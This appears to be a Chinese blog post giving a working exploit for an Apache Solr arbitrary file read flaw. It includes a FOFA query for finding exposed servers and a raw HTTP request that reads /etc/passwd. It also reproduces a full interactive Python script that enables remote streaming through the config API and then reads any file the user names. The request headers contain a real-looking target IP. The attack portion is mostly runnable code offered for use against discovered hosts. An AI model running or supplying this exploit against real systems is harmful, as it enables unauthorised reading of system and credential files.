Apache Solr 任意文件读取漏洞

发布于 2024-07-02 05:02:12 字数 4644 浏览 23 评论 0

fofa 语法如下:

app="Apache-Solr"

我们随便点一个进去

POC 如下:

POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xxx.xxx.xxx:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Origin: http://118.31.46.134:8983
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

stream.url=file:///etc/passwd

当然我们也可以使用 PeiQi 师傅已经写好的 python 脚本

import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
  print('+------------------------------------------')
  print('+  \033[34mPOC_Des: http://wiki.peiqi.tech       \033[0m')
  print('+  \033[34mGithub : https://github.com/PeiQi0    \033[0m')
  print('+  \033[34m 公众号  : PeiQi 文库            \033[0m')
  print('+  \033[34mVersion: Apache Solr < 8.2.0      \033[0m')
  print('+  \033[36m 使用格式: python3 CVE-2019-0193.py     \033[0m')
  print('+  \033[36mUrl  >>> http://xxx.xxx.xxx.xxx:8983  \033[0m')
  print('+  \033[36mFile   >>> 文件名称或目录          \033[0m')
  print('+------------------------------------------')

def POC_1(target_url):
  core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
  try:
    response = requests.request("GET", url=core_url, timeout=10)
    core_name = list(json.loads(response.text)["status"])[0]
    print("\033[32m[o] 成功获得 core_name,Url 为:" + target_url + "/solr/" + core_name + "/config\033[0m")
    return core_name
  except:
    print("\033[31m[x] 目标 Url 漏洞利用失败\033[0m")
    sys.exit(0)

def POC_2(target_url, core_name):
  vuln_url = target_url + "/solr/" + core_name + "/config"
  headers = {
    "Content-type":"application/json"
  }
  data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
  try:
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
    print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
    if "This" in response.text and response.status_code == 200:
      print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
    else:
      print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
      sys.exit(0)

  except Exception as e:
    print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, core_name, File_name):
  vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
  headers = {
    "Content-Type": "application/x-www-form-urlencoded"
  }
  data = 'stream.url=file://{}'.format(File_name)
  try:
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
    if "No such file or directory" in response.text:  
      print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
    else:
      print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))


  except Exception as e:
    print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
  title()
  target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
  core_name = POC_1(target_url)
  POC_2(target_url, core_name)
  while True:
    File_name = str(input("\033[35mFile >>> \033[0m"))
    POC_3(target_url, core_name, File_name)

我们把脚本复制到一个 test.py 里,然后开始运行

发现成功读取到 / etc/passwd

Solr

Solr 是一个独立的企业级搜索应用服务器,它对外提供类似于 Web-service 的 API 接口。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也可以通过 Http Get 操作提出查找请求,并得到 XML 格式的返回结果。

特点

Solr 是一个高性能,采用 Java 开发,基于 Lucene 的全文搜索服务器。同时对其进行了扩展,提供了比 Lucene 更为丰富的查询语言,同时实现了可配置、可扩展并对查询性能进行了优化,并且提供了一个完善的功能管理界面,是一款非常优秀的全文搜索引擎。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文